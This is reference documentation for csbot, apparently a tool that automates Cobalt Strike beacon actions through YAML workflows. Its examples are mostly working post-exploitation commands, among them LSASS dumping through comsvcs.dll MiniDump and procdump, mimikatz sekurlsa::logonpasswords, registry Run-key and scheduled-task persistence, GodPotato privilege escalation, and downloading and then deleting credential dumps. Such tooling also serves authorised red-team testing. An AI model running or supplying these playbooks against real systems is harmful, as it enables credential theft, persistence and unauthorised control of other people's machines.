Complete reference for creating csbot workflow templates.
- Workflow Structure
- Action Types
- Conditions
- Beacon Metadata
- Success/Failure Handlers
- Advanced Features
- Examples
name: Workflow Name # Required: Human-readable workflow name
beacon_id: "abc123" # Optional: Specific beacon ID, omit for interactive selection
parallel: false # Optional: Execute actions in parallel (default: false)
actions: # Required: List of actions to execute
- name: action1
type: getuid
- name: action2
type: shell
parameters:
command: "whoami"- name: Workflow identifier (shown in logs)
- beacon_id: Target beacon ID. If omitted, bot prompts for interactive selection
- variables: Optional key-value map of workflow variables for interpolation
- parallel: Execute all top-level actions concurrently (use with caution)
- actions: Ordered list of actions to execute
Define reusable values at the workflow level that can be referenced in any action parameter:
name: Example Workflow
variables:
target_user: "bill"
payload_path: "C:\\Windows\\Temp\\payload.exe"
audit_dir: "C:\\FolderA"
persistence_name: "MyUpdate"
actions:
- name: use_variables
type: shell
parameters:
command: 'echo ${payload_path}'
- name: persistence
type: shell
parameters:
command: 'REG ADD "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "${persistence_name}" /t REG_EXPAND_SZ /f /d "${payload_path}"'Variable Notes:
- Variables are available to all actions via
${variable_name}syntax - Variables cannot start with
beacon.(reserved for beacon metadata) - Variables are interpolated before action execution
- Action outputs with the same name will override variables
- Use backslash escaping in paths:
C:\\Windows\\System32
Loading Order:
- Workflow variables (from
variables:section) - Beacon metadata (from beacon API, prefixed with
beacon.) - Action outputs (from executed actions)
Later values override earlier ones if names conflict.
Get current user context (includes privileges).
- name: check_user
type: getuidOutput: User information including privileges and impersonation status
Attempt privilege escalation to SYSTEM using built-in techniques.
- name: escalate
type: getsystemOutput: Success/failure status
Execute shell command via cmd.exe.
- name: run_command
type: shell
parameters:
command: "ipconfig /all" # Required: Command to executeOutput: Command output
Execute PowerShell command using managed PowerShell.
- name: run_ps
type: powershell
parameters:
command: "Get-Process | Select-Object -First 5" # Required: PowerShell commandOutput: PowerShell output
Upload file to beacon's current working directory.
- name: upload_tool
type: upload
parameters:
local_path: "/opt/tools/tool.exe" # Required: Local file pathOutput: Upload status (file uploaded to beacon's CWD)
Download file from beacon.
- name: download_file
type: download
parameters:
remote_path: "C:\\Users\\user\\file.txt" # Required: Remote file pathOutput: Download status (file saved to CS downloads folder)
Capture screenshot from beacon.
- name: capture_screen
type: screenshotOutput: Screenshot status (image saved to CS downloads folder)
Execute any Cobalt Strike console command (including server-side aliases like execute-assembly, mimikatz, etc.).
# Simple command
- name: check_processes
type: consolecommand
parameters:
command: "ps" # Required: Console command
# Command with arguments
- name: run_mimikatz
type: consolecommand
parameters:
command: "mimikatz"
arguments: "privilege::debug sekurlsa::logonpasswords"
# Command with @files references (inline base64 files)
- name: execute_assembly
type: consolecommand
parameters:
command: "execute-assembly"
arguments: "@files/Seatbelt.exe -group=all"
files:
Seatbelt.exe: "TVqQAAMAAAAEAAAA..." # base64 encoded file content
# Command with @artifacts references (teamserver-stored files)
- name: spawn_payload
type: consolecommand
parameters:
command: "spawn"
arguments: "@artifacts/beacon.exe"
# With variable interpolation
- name: execute_custom
type: consolecommand
parameters:
command: "${console_cmd}"
arguments: "${cmd_args}"Output: Command output (varies by command)
Use Cases:
- Execute server-side aliases not directly exposed via REST API
- Run custom aggressor script commands
- Execute-assembly for .NET assemblies
- Mimikatz via built-in alias
- Any command available in CS console
Notes:
commandparameter is requiredargumentssupports @files/ and @artifacts/ referencesfilesmap provides base64 content for @files/ references- Variable interpolation works in all parameters
Pause workflow execution.
- name: wait
type: sleep
parameters:
duration: "30s" # Required: Duration (e.g., "5s", "2m", "1h")Output: None
Execute BOF with string arguments.
- name: run_bof
type: bof_string
parameters:
bof: /path/to/bof.o # Required: Path to BOF file
entrypoint: go # Optional: Entrypoint function (default: "go")
arguments: "arg1 arg2 arg3" # Optional: Space-separated string argumentsExecute BOF with pre-packed binary arguments (base64 encoded).
- name: run_bof_packed
type: bof_packed
parameters:
bof: /path/to/bof.o
entrypoint: go
arguments: "YmluYXJ5IGRhdGE=" # Base64-encoded packed argumentsExecute BOF with typed arguments (automatically packed by Cobalt Strike API).
- name: run_bof_typed
type: bof_pack
parameters:
bof: /path/to/bof.o
entrypoint: go
arguments:
- type: string
value: "target.exe"
- type: wstring
value: "Wide String"
- type: int
value: 1234
- type: short
value: 100Supported types: string, wstring, int, short, binary
Execute BOF with typed arguments using custom packing (csbot-side packing instead of API-side). This is implemented due to a serverside issue with the standard pack API endpoint on release.
- name: run_bof_custom_packed
type: bof_pack_custom
parameters:
bof: /path/to/bof.o
entrypoint: go
arguments:
- type: string
value: "target.exe"
- type: wstring
value: "Wide String"
- type: int
value: 1234
- type: short
value: 100Use case: When you need precise control over argument packing or when the API's packing doesn't match your BOF's expectations.
Supported types: Same as bof_pack (string, wstring, int, short, binary). You can also use the short form options zZsib
Conditions control whether an action executes based on previous outputs or beacon metadata.
All conditions must be true:
- name: conditional_action
type: shell
parameters:
command: "whoami"
conditions:
- source: previous_action # Action name or beacon field
operator: contains # Comparison operator
value: "SYSTEM" # Value to match
case_sensitive: false # Optional: Case sensitivity (default: false)- contains: Output contains value
- not_contains: Output does not contain value
- equals: Output equals value exactly
- matches: Output matches regex pattern
Execute if ANY condition is true:
- name: check_privileges
type: getuid
any_of:
- source: beacon.user
operator: contains
value: "SYSTEM"
- source: beacon.impersonated
operator: contains
value: "SYSTEM"
- source: beacon.isAdmin
operator: equals
value: "true"Execute if ALL conditions are true:
- name: admin_only_windows10
type: powershell
parameters:
command: "Get-ComputerInfo"
all_of:
- source: beacon.isAdmin
operator: equals
value: "true"
- source: beacon.os
operator: contains
value: "Windows 10"Combine OR and AND for complex conditions:
# (Admin OR SYSTEM) AND Windows 10
- name: complex_check
type: shell
parameters:
command: "systeminfo"
all_of:
- any_of:
- source: beacon.isAdmin
operator: equals
value: "true"
- source: beacon.user
operator: contains
value: "SYSTEM"
- source: beacon.os
operator: contains
value: "Windows 10"conditions:
- source: privilege_check
operator: matches
value: "Se(Impersonate|Assignprimarytoken)Privilege"Beacon metadata is automatically fetched and available for all conditions via beacon. prefix.
| Field | Type | Description | Example |
|---|---|---|---|
beacon.user |
string | Current user | DOMAIN\admin |
beacon.impersonated |
string | Impersonated user (if any) | NT AUTHORITY\SYSTEM |
beacon.isAdmin |
bool | Admin/elevated status | true |
beacon.computer |
string | Computer name | DC-01 |
beacon.os |
string | Operating system | Windows 10 Enterprise |
beacon.internal |
string | Internal IP address | 10.0.0.5 |
beacon.external |
string | External IP address | 1.2.3.4 |
beacon.process |
string | Process name | explorer.exe |
beacon.pid |
int | Process ID | 1234 |
beacon.beaconArch |
string | Beacon architecture | x64 |
beacon.systemArch |
string | System architecture | x64 |
beacon.session |
string | Session type | interactive |
beacon.listener |
string | Active listener | http-listener |
beacon.alive |
bool | Beacon alive status | true |
# Skip if already SYSTEM
- name: escalate
type: getsystem
any_of:
- source: beacon.user
operator: not_contains
value: "SYSTEM"
- source: beacon.impersonated
operator: not_contains
value: "SYSTEM"
# Only on Windows 10/11
- name: modern_exploit
type: bof_pack
parameters:
bof: /opt/bofs/modern.o
any_of:
- source: beacon.os
operator: contains
value: "Windows 10"
- source: beacon.os
operator: contains
value: "Windows 11"
# Admin-only operations
- name: sensitive_op
type: powershell
parameters:
command: "Get-LocalUser"
all_of:
- source: beacon.isAdmin
operator: equals
value: "true"Execute different actions based on success or failure of previous action.
Executes if parent action succeeds:
- name: primary_action
type: getsystem
on_success:
- name: verify
type: getuid
- name: persist
type: shell
parameters:
command: "reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Test /t REG_SZ /d calc.exe"Executes if parent action fails:
- name: risky_exploit
type: bof_string
parameters:
bof: /opt/bofs/exploit.o
on_failure:
- name: fallback
type: getsystem
- name: log_failure
type: shell
parameters:
command: "echo Failed > C:\\temp\\status.txt"- name: critical_action
type: powershell
parameters:
command: "Invoke-Mimikatz"
on_success:
- name: exfiltrate
type: download
parameters:
remote_path: "C:\\temp\\creds.txt"
on_failure:
- name: cleanup
type: shell
parameters:
command: "del C:\\temp\\creds.txt"
- name: try_alternative
type: shell
parameters:
command: "procdump -ma lsass.exe lsass.dmp"Handlers can have their own handlers:
- name: level1
type: getsystem
on_success:
- name: level2
type: shell
parameters:
command: "whoami"
on_success:
- name: level3
type: getuidReference previous action outputs in parameters:
- name: get_username
type: shell
parameters:
command: "whoami"
- name: use_username
type: shell
parameters:
command: "echo User is ${get_username}" # Interpolates output from get_usernameExecute all top-level actions simultaneously:
name: Parallel Recon
parallel: true
actions:
- name: network_scan
type: shell
parameters:
command: "ipconfig /all"
- name: process_list
type: shell
parameters:
command: "tasklist"
- name: user_list
type: shell
parameters:
command: "net user"Warning: Parallel execution can overload beacons with low check-in intervals.
Action names must be unique and are used for:
- Condition source references
- Variable interpolation
- Logging and output
- Workflow debugging
# Good - descriptive and unique
- name: check_admin_privileges
- name: download_sensitive_file
- name: escalate_to_system
# Bad - vague or duplicate
- name: action1
- name: check
- name: run_commandname: Credential Harvesting
actions:
# Only dump LSASS if SYSTEM or impersonated as SYSTEM
- name: dump_lsass
type: powershell
any_of:
- source: beacon.user
operator: contains
value: "SYSTEM"
- source: beacon.impersonated
operator: contains
value: "SYSTEM"
parameters:
command: rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full
on_success:
- name: download_dump
type: download
parameters:
remote_path: C:\Windows\Temp\lsass.dmp
- name: cleanup_dump
type: shell
parameters:
command: del C:\Windows\Temp\lsass.dmp
on_failure:
- name: try_procdump
type: shell
parameters:
command: procdump -ma lsass.exe lsass.dmp
# Check for saved credentials
- name: enum_creds
type: shell
parameters:
command: cmdkey /listname: Privilege Escalation Workflow
actions:
# Check current context
- name: check_context
type: getuid
# Try SeImpersonate exploit if privilege exists
- name: godpotato_exploit
type: bof_string
parameters:
bof: /opt/bofs/GodPotato.o
entrypoint: go
arguments: "-cmd whoami"
conditions:
- source: check_context
operator: contains
value: "SeImpersonatePrivilege"
on_success:
- name: verify_system
type: getuid
on_failure:
- name: try_getsystem
type: getsystem
# If not admin, skip advanced techniques
- name: advanced_exploit
type: bof_pack
parameters:
bof: /opt/bofs/exploit.o
arguments:
- type: int
value: 1234
all_of:
- source: beacon.isAdmin
operator: equals
value: "true"
- source: beacon.os
operator: contains
value: "Windows 10"name: OS-Specific Recon
actions:
# Windows 10/11 specific checks
- name: modern_windows_recon
type: powershell
parameters:
command: |
Get-ComputerInfo
Get-NetFirewallProfile
Get-MpPreference
any_of:
- source: beacon.os
operator: contains
value: "Windows 10"
- source: beacon.os
operator: contains
value: "Windows 11"
# Legacy Windows checks
- name: legacy_windows_recon
type: shell
parameters:
command: |
systeminfo
netsh advfirewall show allprofiles
any_of:
- source: beacon.os
operator: contains
value: "Windows 7"
- source: beacon.os
operator: contains
value: "Windows Server 2012"name: Multi-Stage Exploitation
actions:
# Stage 1: Check environment
- name: recon
type: getuid
# Stage 2: Primary exploit path
- name: primary_exploit
type: bof_string
parameters:
bof: /opt/bofs/exploit1.o
conditions:
- source: recon
operator: contains
value: "SeImpersonatePrivilege"
on_success:
- name: establish_persistence
type: shell
parameters:
command: "schtasks /create /tn Update /tr calc.exe /sc onlogon"
on_failure:
- name: secondary_exploit
type: bof_string
parameters:
bof: /opt/bofs/exploit2.o
on_failure:
- name: last_resort
type: getsystem
# Stage 3: Alternative path if not privileged
- name: alternative_path
type: shell
parameters:
command: "net user /domain"
conditions:
- source: recon
operator: not_contains
value: "SeImpersonatePrivilege"# Good
- name: check_for_admin_privileges_before_escalation
type: getuid
# Bad
- name: action1
type: getuid# Skip unnecessary actions
- name: escalate_only_if_needed
type: getsystem
conditions:
- source: beacon.isAdmin
operator: equals
value: "false"- name: critical_exploit
type: bof_string
parameters:
bof: /opt/bofs/exploit.o
on_failure:
- name: cleanup
type: shell
parameters:
command: "del C:\\temp\\exploit.log"
- name: notify
type: shell
parameters:
command: "echo FAILED > C:\\temp\\status.txt"# Test workflow logic before running exploits
- name: test_condition
type: getuid
- name: wait_before_action
type: sleep
parameters:
duration: "5s"
- name: safe_test
type: shell
parameters:
command: "whoami"
conditions:
- source: test_condition
operator: contains
value: "SYSTEM"# Check multiple possible success conditions
any_of:
- source: beacon.user
operator: contains
value: "admin"
- source: beacon.isAdmin
operator: equals
value: "true"
- source: beacon.impersonated
operator: contains
value: "SYSTEM"Before execution, workflows are validated for:
- Required fields (name, actions)
- Valid action types
- Required parameters for each action type
- BOF file existence
- Valid operators in conditions
- Unique action names
- Valid beacon metadata field references
- Proper condition group syntax
Warnings (non-blocking):
- BOF file not found
- Beacon not alive
- Unknown beacon field reference
- Condition references undefined action
- Check action names match exactly (case-sensitive)
- Verify condition source exists before reference
- Check operator spelling
- Test with simpler conditions first
- Review logs for condition evaluation output
- Verify BOF path is absolute and correct
- Check BOF architecture matches beacon
- Ensure arguments are properly formatted
- Test BOF manually in Cobalt Strike first
- Ensure action has completed before interpolation
- Check variable syntax:
${action_name} - Verify action produced output
- Check for typos in action name
- Beacon metadata is fetched once at workflow start
- Changes during execution not reflected
- Use
getuidaction for real-time user checks